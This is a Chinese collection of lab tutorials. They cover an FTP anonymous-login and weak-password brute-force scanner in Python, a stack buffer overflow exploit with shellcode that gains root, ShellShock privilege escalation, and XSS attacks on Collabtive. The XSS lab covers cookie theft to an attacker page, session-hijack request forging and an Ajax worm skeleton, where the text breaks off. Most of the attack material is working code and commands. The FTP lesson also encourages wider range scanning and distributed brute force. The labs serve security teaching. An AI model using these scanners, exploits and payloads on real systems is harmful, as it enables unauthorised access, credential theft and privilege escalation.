
实验楼信息安全教程合集


Python 实现 FTP 弱口令扫描器

            通过使用Python实现一个FTP弱口令扫描器开始，入门Python渗透测试技术，实验涉及FTP协议原理，ftplib 库的使用等知识点。


第 1 节 Python 实现 FTP 弱口令扫描器


一、课程说明


1.1 课程简介


本次实验通过使用 Python 实现一个 FTP 弱口令扫描器开始，入门 Python 渗透测试技术，实验涉及 FTP 协议原理，ftplib 库的使用等知识点。


* 注*：本系列课程教学思路，参考自《Python绝技--运用Python成为顶级黑客》，书中代码和教学思路只做参考，本系列教程全部由本人重新设计并基于Python3.x重写。本系列课程旨在教大家渗透测试，维护网络安全，如用于非法目的，自行承担法律责任！


1.2 目标学员



	具有Python语言基础，不会的同学请到隔壁班先去学一下




1.3 Python版本



	Python3.x




1.4 知识点


本实验涉及如下知识点：



	认识Ftp服务器 


	Ftplib库的使用


	argparse库的使用


	Ubuntu下Ftp服务器的搭建




1.5 效果图


本节实验将实现如下功能的 FTP 弱口令扫描器：


[image: 此处输入图片的描述]


二、 理论基础


以下内容整理自百度百科，参考链接：



	百度百科-FTP服务器




2.1 FTP服务器


FTP服务器（File Transfer Protocol Server）是在互联网上提供文件存储和访问服务的计算机，它们依照FTP协议提供服务。 FTP是File Transfer Protocol(文件传输协议)。顾名思义，就是专门用来传输文件的协议。简单地说，支持FTP协议的服务器就是FTP服务器。


FTP是仅基于TCP的服务，不支持UDP。与众不同的是FTP使用2个端口，一个数据端口和一个命令端口（也可叫做控制端口）。通常来说这两个端口是21（命令端口）和20（数据端口）。但FTP 工作方式的不同，数据端口并不总是20。这就是主动与被动FTP的最大不同之处。主要有两种工作模式：



	主动FTP




FTP服务器的控制端口是21，数据端口是20，所以在做静态映射的时候只需要开放21端口即可，他会用20端口和客户端主动的发起连接。



	被动FTP




服务器的控制端口是21，数据端口是随机的，且是客户端去连接对应的数据端口，所以在做静态的映射话只开放21端口是不可以的。此时需要做DMZ。


2.2 Ftp扫描器实现方案


本课程开发Ftp扫描器主要从以下两个方面着手：


扫描匿名Ftp


Ftp匿名登录的扫描主要应用于批量扫描中，单独针对一个Ftp服务器进行扫描的话成功几率比较小，不过也不排除成功的可能。估计讲到这里的时候，有的同学就有疑问了！！！现在还有人不设置密码吗？那得傻到啥程度？用东北的话来说那不就是傻狍子吗！！！（开个玩笑，免得同学们看我的教程睡着了！）不过言归正传，很多网站都开放Ftp服务方便用户下载资源（这个允许匿名登录不足为奇），更疯狂的是网站管理人员为了方便网站访问软件的更新也开放了Ftp匿名登录（估计不是自己家的网站......）。这样就给了我们很多机会，尤其后者的服务器很容易就受到攻击，后期我会讲解Ftp目录下可以搜到web页面之后怎样拿到Shell（大家多多关注我的教程吧，还有很多精品课程等着你！）。


扫描Ftp弱口令


Ftp弱口令扫描其实就是暴力破解，为何我们不称为暴力破解呢？因为我们只是扫描一些简单的密码组合，并不是所有可能得密码组合，而且我们也没有那么多时间去暴力破解，谁让我们活不了成千上万年呢！只是一个密码而已，弱口令扫不到就算了，天涯何处无芳草何必单恋一枝花呢！不过你要非喜欢这个Ftp服务器的话，以后我再教大家别的方法渗透服务器！


三、代码实现


3.1 Ftp匿名扫描器的实现


这里我们要用到Python的ftplib库中的Ftp这个类，Ftp这个类实现了Ftp客户端的大多数功能，比如连接Ftp服务器、查看服务器中的文件、上传、下载文件等功能，详细用法可以查看一下文档，以后碰到问题也要养成先看文档的习惯！接下来我们来定义anonScan(hostname)这个函数以实现扫描可匿名登录的Ftp服务器。代码如下:


#匿名登录扫描
def anonScan(hostname):                 #参数是主机名
    try:
        with FTP(hostname) as ftp:      #创建Ftp对象
            ftp.login()                 #Ftp匿名登录
            print('\n[*] ' + str(hostname) + " FTP Anonymous login successful!") #不抛出异常则表明登录成功
            return True
    except Exception as e:              #抛出异常则表明匿名登录失败
        print('\n[-] ' + str(hostname) + " FTP Anonymous logon failure!")
        return False



代码很简短，主要在注释中解释了代码的含义。这里说一下这个函数的思路，首先用主机名构造了一个Ftp对象(即ftp)，然后用这个ftp调用不带任何参数的login()函数即表示要匿名登录这个Ftp服务器，如果登录过程中没有产生异常，则表明匿名登录成功，否则匿名登录失败！


3.2 Ftp弱口令的扫描


Ftp弱口令的扫描依赖于用户名和密码字典，我们的实验环境中会提供 pwd.txt 作为密码字典，字典的格式如下图所示:


[image: 图片描述]


接下来我们针对字典中的格式来实现Ftp弱口令的扫描，代码如下：


#暴力破解
def vlcLogin(hostname, pwdFile):                #参数(主机名，字典文件)
    try:
        with open(pwdFile, 'r') as pf:          #打开字典文件
            for line in pf.readlines():         #循环读取字典文件中的每一行
                time.sleep(1)                   #等待1秒
                userName = line.split(':')[0]   #从读取的内容中取出用户名
                passWord = line.split(':')[1].strip('\r').strip('\n') #从读取的内容中取出密码
                print('[+] Trying: ' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:  #以主机名为参数构造Ftp对象
                        ftp.login(userName, passWord)   #使用读取出的用户名密码登录Ftp服务器
                        #如果没有产生异常则表示登录成功，打印主机名、用户名和密码
                        print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
                              userName + ':' + passWord)
                        return (userName, passWord)
                except Exception as e:
                    # 产生异常表示没有登录成功，这里我们不用管它，继续尝试其他用户名、密码
                    pass
    except IOError as e:
        print('Error: the password file does not exist!')
    print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
    return (None,None)



这段代码其实就是循环从字典中读取用户名和密码并尝试登陆，登陆成功则表明找到用户名和密码。由于这个函数将主机名定义成了可以用“，”分割的字符串。找到密码并不会终止程序，而是会继续扫描其他主机的弱口令，直到所有的主机都扫描一遍。


3.3 命令行解析


至此我们的Ftp扫描器已经几乎完成了，代码并不多，也很简单。现在我们需要做的是让我们的脚本可以处理命令行输入，以控制扫描哪些主机。处理命令行参数我们将用到Python中的argparse库，这个库是Python中自带的模块，处理命令行将变得非常简单，下面我们一起见证一下argparse的强大之处，先上代码：


# 这里用描述创建了ArgumentParser对象
    parser = argparse.ArgumentParser(description = 'FTP Scanner')
    # 添加-H命令dest可以理解为咱们解析时获取-H参数后面值的变量名,help是这个命令的帮助信息
    parser.add_argument('-H',dest='hostName',help='The host list with ","space')
    parser.add_argument('-f',dest='pwdFile',help='Password dictionary file')
    options = None
    try:
        options = parser.parse_args()

    except:
        print(parser.parse_args(['-h']))
        exit(0)
    hostNames = str(options.hostName).split(',')
    pwdFile = options.pwdFile



通过argparse库来解析命令行参数，可以根据添加参数时指定的help关键字的内容来自动生成帮助文档。具体效果如下图所示：


[image: 此处输入图片的描述]


在处理复杂命令的时候argparse的强大就更明显了，由于这个属于Python基础，所以Python库中自带的库这里我就不做过多的介绍了。


3.4 整合全部的代码


基本的代码咱们已经实现完成了，现在把上面的代码整合一下就可以了，代码如下:


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from ftplib import *
import argparse
import time

#匿名登录扫描
def anonScan(hostname):                 #参数是主机名
    try:
        with FTP(hostname) as ftp:      #创建Ftp对象
            ftp.login()                 #Ftp匿名登录
            print('\n[*] ' + str(hostname) + " FTP Anonymous login successful!") #不抛出异常则表明登录成功
            return True
    except Exception as e:              #抛出异常则表明匿名登录失败
        print('\n[-] ' + str(hostname) + " FTP Anonymous logon failure!")
        return False

#暴力破解
def vlcLogin(hostname, pwdFile):                #参数(主机名，字典文件)
    try:
        with open(pwdFile, 'r') as pf:          #打开字典文件
            for line in pf.readlines():         #循环读取字典文件中的每一行
                time.sleep(1)                   #等待1秒
                userName = line.split(':')[0]   #从读取的内容中取出用户名
                passWord = line.split(':')[1].strip('\r').strip('\n') #从读取的内容中取出密码
                print('[+] Trying: ' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:  #以主机名为参数构造Ftp对象
                        ftp.login(userName, passWord)   #使用读取出的用户名密码登录Ftp服务器
                        #如果没有产生异常则表示登录成功，打印主机名、用户名和密码
                        print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
                              userName + ':' + passWord)
                        return (userName, passWord)
                except Exception as e:
                    # 产生异常表示没有登录成功，这里我们不用管它，继续尝试其他用户名、密码
                    pass
    except IOError as e:
        print('Error: the password file does not exist!')
    print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
    return (None,None)

def main():
    # 这里用描述创建了ArgumentParser对象
    parser = argparse.ArgumentParser(description='FTP Scanner')
    # 添加-H命令dest可以理解为咱们解析时获取-H参数后面值的变量名,help是这个命令的帮助信息
    parser.add_argument('-H',dest='hostName',help='The host list with ","space')
    parser.add_argument('-f',dest='pwdFile',help='Password dictionary file')
    options = None
    try:
        options = parser.parse_args()

    except:
        print(parser.parse_args(['-h']))
        exit(0)

    hostNames = str(options.hostName).split(',')
    pwdFile = options.pwdFile
    if hostNames == ['None']:
        print(parser.parse_args(['-h']))
        exit(0)

    for hostName in hostNames:
        username = None
        password = None
        if anonScan(hostName) == True:
            print('Host: ' + hostName + ' Can anonymously!')
        elif pwdFile != None:
            (username,password) = vlcLogin(hostName,pwdFile)
            if password != None:
                print('\n[+] Host: ' + hostName + 'Username: ' + username + \
                      'Password: ' + password)

    print('\n[*]-------------------Scan End!--------------------[*]')


if __name__ == '__main__':
    main()



到此我们的代码就全部完成了，稍加改动就会使这个扫描器更加强大，比如：主机名可以指定范围实现大范围扫描或者改成分布式暴力破解Ftp用户名密码这样字典的容量就可以更大一些，成功率也会大大增加！


四、实验环境搭建


实验环境使用实验楼的 Ubuntu 14.04, 这里我们使用python的第三方库pyftpdlib,可以非常简单的架设一个FTP服务器。


4.1 安装pyftpdlib



	打开终端，输入如下命令




> sudo pip install pyftpdlib


如下图所示：


[image: 此处输入图片的描述]



	启动ftp服务器，输入如下命令：




> sudo python -m pyftpdlib -p 21


如下图所示：


[image: 此处输入图片的描述]


这里默认是允许匿名登录，等一下看看我们能不能扫到！


4.2 测试扫描


至此我们的环境就搭建好了，现在可以测试我们的Ftp弱口令扫描器了！
现在我们开始测试吧！运行代码效果如下图所示：


[image: 此处输入图片的描述]


这里主要测试了一下匿名登录，至于弱口令破解，同学们可以自己找一个密码字典，尝试一下破解Ftp服务器！


五、课后练习


将本程序更改成主机名可以通过形如：主机名1-主机名n这种形式，让程序可以按照范围扫描主机。


六、总结


本次课程实现了Ftp弱口令扫描器，主要用到以下知识点：



	Ftp服务器的基本概念


	使用ftplib如何一步一步的实现Ftp弱口令扫描器


	使用argparse解析命令行参数


	实验环境的搭建方法




同时希望同学们可以认真写实验报告，把课后练习的实现思路写出来，这样不仅达到练习的目的同时还能拓展思维，将程序变成自己的！期待你们的实验报告！


七、参考文献



	《Python绝技--运用Python成为顶级黑客》


	《Python黑帽子-- 黑客与渗透测试编程之道 》




缓冲区溢出漏洞实验

            缓冲区溢出攻击：通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。


第 1 节 缓冲区溢出漏洞实验


一、实验简介


缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。


二、实验准备


系统用户名shiyanlou


实验楼提供的是64位Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在32位环境下作操作，因此实验之前需要做一些准备。


1、输入命令安装一些用于编译32位C程序的东西：


sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev



2、输入命令“linux32”进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，所以输入“/bin/bash”使用bash：


[image: 02-01]


三、实验步骤


3.1 初始设置


Ubuntu和其他一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：


sudo sysctl -w kernel.randomize_va_space=0



此外，为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。


linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序（zsh）代替/bin/bash。下面的指令描述了如何设置zsh程序：


sudo su

cd /bin

rm sh

ln -s zsh sh

exit



3.2 shellcode


一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是shellcode。


观察以下代码：


#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}



本次实验的shellcode，就是刚才代码的汇编版本：


\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80



3.3 漏洞程序


把以下代码保存为“stack.c”文件，保存到 /tmp 目录下。代码如下：


/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}



通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。


编译该程序，并设置SET-UID。命令如下：


sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

chmod u+s stack

exit



GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。


而 -z execstack 用于允许执行栈。


3.4 攻击程序


我们的目的是攻击刚才的漏洞程序，并通过攻击获得root权限。


把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下。代码如下：


/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}



注意上面的代码，“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。


而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode保存在 buffer+100 的位置。


现在我们要得到shellcode在内存中的地址，输入命令：


gdb stack

disass main



结果如图：


[image: 02-02]


接下来的操作：


[image: 02-03]


根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd1b0(十六进制)+100(十进制)=0xffffd214(十六进制)


*现在修改exploit.c文件！将 \x??\x??\x??\x?? 修改为 \x14\xd2\xff\xff *


然后，编译exploit.c程序：


gcc -m32 -o exploit exploit.c



3.5 攻击结果


先运行攻击程序exploit，再运行漏洞程序stack，观察结果：


[image: 02-04-]


可见，通过攻击，获得了root权限！


> 如果不能攻击成功，提示”段错误“，那么请重新使用gdb反汇编，计算内存地址。


四、练习


1、按照实验步骤进行操作，攻击漏洞程序并获得root权限。


2、通过命令”sudo sysctl -w kernel.randomizevaspace=2“打开系统的地址空间随机化机制，重复用exploit程序攻击stack程序，观察能否攻击成功，能否获得root权限。


3、将/bin/sh重新指向/bin/bash（或/bin/dash），观察能否攻击成功，能否获得root权限。


以上练习请在实验楼环境完成并截图。
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ShellShock 攻击实验

            2014年9月24日，Bash中发现了一个严重漏洞shellshock，该漏洞可用于许多系统，既可以远程也可以在本地触发。在本实验中，学生需要亲手重现攻击来理解该漏洞。


第 1 节 ShellShock 攻击实验


一、 实验简介


2014年9月24日，Bash中发现了一个严重漏洞shellshock，该漏洞可用于许多系统，并且既可以远程也可以在本地触发。在本实验中，学生需要亲手重现攻击来理解该漏洞，并回答一些问题。


二、 预备知识


1. 什么是ShellShock？


>Shellshock，又称Bashdoor，是在Unix中广泛使用的Bash shell中的一个安全漏洞，首次于2014年9月24日公开。许多互联网守护进程，如网页服务器，使用bash来处理某些命令，从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。——摘自维基百科


2. 进行实验所需的准备


1. 环境搭建


以root权限安装4.1版bash（4.2版本以上的漏洞已经被堵上了）
bash4.1 下载地址：http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
[image: ]


下载


# wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz



安装


# tar xf bash-4.1.tar.gz
# cd bash-4.1
# ./configure
# make & make install



链接


# rm /bin/bash
# ln -s /usr/local/bin/bash /bin/bash



到这里就安装完了，接下来检测是否存在shellshock漏洞。


$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test "



[image: ]


输出vulnerable的话,说明bash有漏洞。


最后，让/bin/sh 指向/bin/bash.


$ sudo ln -sf /bin/bash /bin/sh



现在一切就绪，进入下一步吧。


2.预备知识


了解bash自定义函数，只需要函数名就能够调用该函数。


$ foo() { echo bar; } 
$ foo
> bar



这个时候的Bash的环境变量：


KEY = foo
VALUE = () { echo bar; }



来看看ShellShock漏洞的真身：


export foo=’() { :; }; echo Hello World’ 
bash
>Hello World



为什么调用bash的时候输出Hello World了呢？瞧瞧他内部的情况：


KEY = foo
VALUE = () { :; }; echo Hello World



bash读取了环境变量，在定义foo之后直接调用了后面的函数。
一旦调用bash，自定义的语句就直接触发。


到了这，你有想到什么么？联系之前的Set-UID课程。


三、 实验内容


1.攻击Set-UID程序


本实验中，我们通过攻击Set-UID程序来获得root权限。
首先，确保安装了带有漏洞的bash版本，并让/bin/sh 指向/bin/bash.


$ sudo ln -sf /bin/bash /bin/sh



请编译下面这段代码，并设置其为Set-UID程序，保证它的所有者是root。我们知道system()函数将调用"/bin/sh -c" 来运行指定的命令, 这也意味着/bin/bash 会被调用，你能够利用shellshock漏洞来获取权限么？


#include <stdio.h>
void main()
{
    setuid(geteuid()); // make real uid = effective uid.
    system("/bin/ls -l");
}



我们注意到这里使用了setuid(geteuid())  来使real uid = effective uid，这在Set-UID程序中不是普遍实践，但它确实有时会发生。
先自己试着hack一下：）
……
……
……
……
……
……
以下是hack过程。
[image: ]


如果 setuid(geteuid()) 语句被去掉了，再试试看攻击，我们还能够拿到权限么？


#include <stdio.h>
void main()
{
    system("/bin/ls -l");
}



[image: ]
 (hack过程与step1完全一样，sh0ck是编译后的程序)


失败了！这就说明如果 real uid 和 effective uid 相同的话，定义在环境变量中的内容在该程序内有效，那样shellshock漏洞就能够被利用了。但是如果两个uid不同的话，环境变量失效，就无法发动攻击了，这可以从bash的源代码中得到印证（variables.c,在308到369行之间）请指出是哪一行导致了这样的不同，并说明bash这样设计的原因。


这里给出这部分代码


/* Initialize the shell variables from the current environment.
   If PRIVMODE is nonzero, don't import functions from ENV or
   parse $SHELLOPTS. */
void
initialize_shell_variables (env, privmode)
     char **env;
     int privmode;
{
  char *name, *string, *temp_string;
  int c, char_index, string_index, string_length;
  SHELL_VAR *temp_var;

  create_variable_tables ();

  for (string_index = 0; string = env[string_index++]; )
    {

      char_index = 0;
      name = string;
      while ((c = *string++) && c != '=')
  ;
      if (string[-1] == '=')
  char_index = string - name - 1;

      /* If there are weird things in the environment, like `=xxx' or a
   string without an `=', just skip them. */
      if (char_index == 0)
  continue;

      /* ASSERT(name[char_index] == '=') */
      name[char_index] = '\0';
      /* Now, name = env variable name, string = env variable value, and
   char_index == strlen (name) */

      temp_var = (SHELL_VAR *)NULL;

      /* If exported function, define it now.  Don't import functions from
   the environment in privileged mode. */
      if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
  {
    string_length = strlen (string);
    temp_string = (char *)xmalloc (3 + string_length + char_index);

    strcpy (temp_string, name);
    temp_string[char_index] = ' ';
    strcpy (temp_string + char_index + 1, string);

    parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

    /* Ancient backwards compatibility.  Old versions of bash exported
       functions like name()=() {...} */
    if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
      name[char_index - 2] = '\0';

    if (temp_var = find_function (name))
      {
        VSETATTR (temp_var, (att_exported|att_imported));
        array_needs_making = 1;
      }
    else
      report_error (_("error importing function definition for `%s'"), name);

    /* ( */
    if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
      name[char_index - 2] = '(';   /* ) */
  }



摘出其中关键部分并简化


void initialize_shell_variables(){
// 循环遍历所有环境变量
for (string_index = 0; string = env[string_index++]; ) {
     /*...*/
     /* 如果有export过的函数, 在这里定义 */
     /* 无法导入在特权模式下（root下）定义的函数 */
     if (privmode == 0 && read_but_dont_execute == 0 &&
           STREQN (“() {“, string, 4)) {
           [...]
           // 这里是shellshock发生的地方
           // 传递函数定义 + 运行额外的指令
           parse_and_execute (temp_string, name,
                SEVAL_NONINT|SEVAL_NOHIST);
[...]
} }



就是上述那一行判断逻辑导致了两者的不同，primode即私有模式，要求real uid 与 effective uid保持一致。


四、 练习


在实验楼环境安步骤进行实验，并截图
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Collabtive系统跨站脚本攻击实验

            跨站点脚本(XSS)是一种常见较弱的web应用程序漏洞,攻击者使用这个漏洞注入恶意代码(例如JavaScript)来攻击受害者的web浏览器。


第 1 节 Collabtive系统跨站脚本攻击实验


实验简介


系统用户名seed，密码dees 


跨站点脚本(XSS)是一种常见较弱的web应用程序漏洞,攻击者使用这个漏洞注入恶意代码(例如JavaScript)来攻击受害者的web浏览器。


使用恶意代码,攻击者可以轻松窃取受害者的凭证,例如cookies的访问控制政策(例如：IE同源策略)受雇于浏览器可以保护这些凭证绕过XSS漏洞，利用这种漏洞可能会导致大规模的攻击。


预备知识


1、什么是XSS


XSS(Cross Site Scripting)：跨站脚本攻击，它与SQL注入攻击类似，SQL注入攻击中以SQL语句作为用户输入，从而达到查询/修改/删除数据的目的；而在xss攻击中，恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意攻击用户的特殊目的。


2、XSS分类


主体分为2类：


1、来自内部：主要利用程序自身的漏洞，构造跨站语句；


2、来自外部：自己构造XSS跨站漏洞页面，然后诱惑管理员来点，从而获得我们想要的信息；


这里给一篇文章：科普


3、XSS危害


>1.盗取各类用户账户，如机器登录账号、用户网银账号、各类管理员账号；


>2.控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力；


>3.盗窃企业重要的具有商业价值的资料；


>4.非法转账；


>5.强制发送电子邮件；


>6.控制受害者机器向其他网站发起攻击


4、什么是Cookie


某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据（通常经过加密）；


5、环境搭建


配置DNS：


    sudo vim /etc/hosts



[image: 图片描述信息]


配置网站文件：


    sudo vim /etc/apache2/conf.d/lab.conf



[image: 图片描述信息]


启动服务：


    sudo service apache2 start
    sudo mysqld_safe



访问测试


>用户名：admin；密码：admin


[image: 图片描述信息]


实验内容


lab1 通过弹窗显示恶意信息


step1：新建一个js.html文件，获取弹框；弹框的目的是为了验证是否存在xss漏洞；


    cd /var/www/XSS/Collabtive/
    sudo vim js.html



[image: 图片描述信息]


访问测试：


[image: 图片描述信息]


step2：通过html调用js来获取弹框；这么做是为了有的时候，受害网站不允许直接写js代码，这个时候我们可以通过调用来检验是否存在xss漏洞
新建myscript.js文件：


    sudo vim myscript.js






[image: 图片描述信息]


这里要说明一下，当我们调用js文件的时候，js文件中不需要写<script></script>标签；


新建include.html文件，调用js，验证xss漏洞是否存在：


    sudo vim include.html



[image: 图片描述信息]


访问测试：


[image: 图片描述信息]


lab2 恶意显示Cookie


弹框仅仅是为了验证是否存在xss漏洞，并没有什么利用价值，而JavaScript中可以用函数来获取cookie，接下来就是使用JavaScript获取cookie来进一步利用；


step1：在/var/www/XSS/Collabtive/manageuser.php文件中添加一行，用来显示Cookie。当用户去访问这个页面的时候，就会显示当前的Cookie：


    sudo vim manageuser.php



[image: 图片描述信息]


添加的这一行的功能就是以弹窗的形式显示用户的Cookie；


>效果：弹出来的就是我们当前用户的Cookie，我们可以使用httpliveHeader来抓取验证；


[image: 图片描述信息]


lab3 窃取受害者的Cookie


lab2的情况局限于获取自己的Cookie，当然我们不需要自己的Cookie，我们需要在不登陆的情况下，获取其他用户的Cookie，这样我们就可以使用cookie直接登录别人的账号；


首先构造我们的攻击页面hack.php：


    sudo vim hack.php



[image: 图片描述信息]


上面是获取cookie的代码，同时我们需要一个文件来接受cookie；在与hack.php文件同目录下新建一个cookie.txt用来接收cookie值；而且这个文件需要有写入权限；


[image: 图片描述信息]


然后我们在manageuser.php页面新增这样的语句，当用户访问这个页面时，用户就会把cookie发送到我们攻击者的手里：


[image: 图片描述信息]


受害者访问www.xsslabcollabtive.com/manageuser.php页面：


[image: 图片描述信息]


这个时候，攻击者在cookie.txt文件里面就获取了受害者的Cookie：


[image: 图片描述信息]


lab4 使用获取的Cookie进行会话劫持


当获取了受害者的Cookie以后，我们可以干嘛呢？可以利用Cookie登录用户，也就是会话劫持；


>会话劫持：窃取受害者的cookie后,攻击者可以仿造受害者向服务器发送请求,包括代表受害者创建一个新项目,发帖子,删除等等。从本质上讲, 就是劫持受害者的会话。


首先：我们查看受害者创建项目时候的请求：


[image: 图片描述信息]


当攻击者知道了创建项目的请求以后，就可以编写一个Java程序发送相同的HTTP请求达到创建项目的目的，当然还可以进行其他的请求：


>HTTP访问请求：


>1、打开一个连接到web服务器。


>2、设置必要的HTTP头信息。


>3、发送请求到web服务器。


>4、得到来自web服务器的响应。


    import java.io.*;
    import java.net.*;
    public class HTTPSimpleForge {
    public static void main(String[] args) throws IOException {
    try {
    int responseCode;
    InputStream responseIn=null;
    // URL to be forged.
    URL url = new URL ("http://www.xsslabcollabtive/admin.php?action=addpro");
    // URLConnection instance is created to further parameterize a
    // resource request past what the state members of URL instance
    // can represent.
    URLConnection urlConn = url.openConnection();
    if (urlConn instanceof HttpURLConnection) {
    urlConn.setConnectTimeout(60000);
    urlConn.setReadTimeout(90000);
    }
    // addRequestProperty method is used to add HTTP Header Information.
    // Here we add User-Agent HTTP header to the forged HTTP packet.
    // Add other necessary HTTP Headers yourself. Cookies should be stolen
    // using the method in task3.
    urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
    //HTTP Post Data which includes the information to be sent to the server.
    String data="name=test&desc=test...&assignto[]=...&assignme=1";
    // DoOutput flag of URL Connection should be set to true
    // to send HTTP POST message.
    urlConn.setDoOutput(true);
    // OutputStreamWriter is used to write the HTTP POST data
    // to the url connection.
    OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
    wr.write(data);
    wr.flush();
    // HttpURLConnection a subclass of URLConnection is returned by
    // url.openConnection() since the url is an http request.
    if (urlConn instanceof HttpURLConnection) {
    HttpURLConnection httpConn = (HttpURLConnection) urlConn;
    // Contacts the web server and gets the status code from
    // HTTP Response message.
    responseCode = httpConn.getResponseCode();
    System.out.println("Response Code = " + responseCode);
    // HTTP status code HTTP_OK means the response was
    // received sucessfully.
    if (responseCode == HttpURLConnection.HTTP_OK) {
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    // Get the input stream from url connection object.
    responseIn = urlConn.getInputStream();
    // Create an instance for BufferedReader
    // to read the response line by line.
    BufferedReader buf_inp = new BufferedReader(
    new InputStreamReader(responseIn));
    String inputLine;
    while((inputLine = buf_inp.readLine())!=null) {
    System.out.println(inputLine);
    }
    }
    }
    } catch (MalformedURLException e) {
    e.printStackTrace();
    }
    }
    }



lab5 XSS蠕虫


xss蠕虫 cross site scripting worm


是一种跨站脚本病毒， 通常由脚本语言Javascript写成， 它借由网站访问者传播。由于XSS蠕虫基于浏览器而不是操作系统, 取决于其依赖网站的规模, 它可以在短时间内达到对巨大数量的计算机感染；


XSS蠕虫的危害


蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS攻击等等等。


XSS蠕虫的学习


首先我么需要理解一下Ajax框架。框架代码如下：


    var Ajax=null;
    // 构建http请求的头信息
    Ajax=new XMLHttpRequest();
    Ajax.open("POST","http://www.xsslabcollabtive.com/manageuser.php?action=edit",true);
    Ajax.setRequestHeader("Host","www.xsslabcollabtive.com");
    Ajax.setRequestHeader("Keep-Alive","300");
    Ajax.setRequestHeader("Connection","keep-alive");
    Ajax.setRequestHeader("Cookie",document.cookie);
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    // 构建http请求内容。 内容的格式可以从浏览器插件LiveHTTPHeaders中知道长什么样
    var content="name=...&company=&..."; // 这是你需要填写的内容
    // 发送http POST请求。
    Ajax.send(content);



我们创建一个test.js的文件；这个文件中是上面的Ajax框架：


    sudo vim test.js



[image: 图片描述信息]


然后我们在创建一个test1.js的文件，写一个xss蠕虫代码：


    sudo vim test1.js



[image: 图片描述信息]


这里是代码：


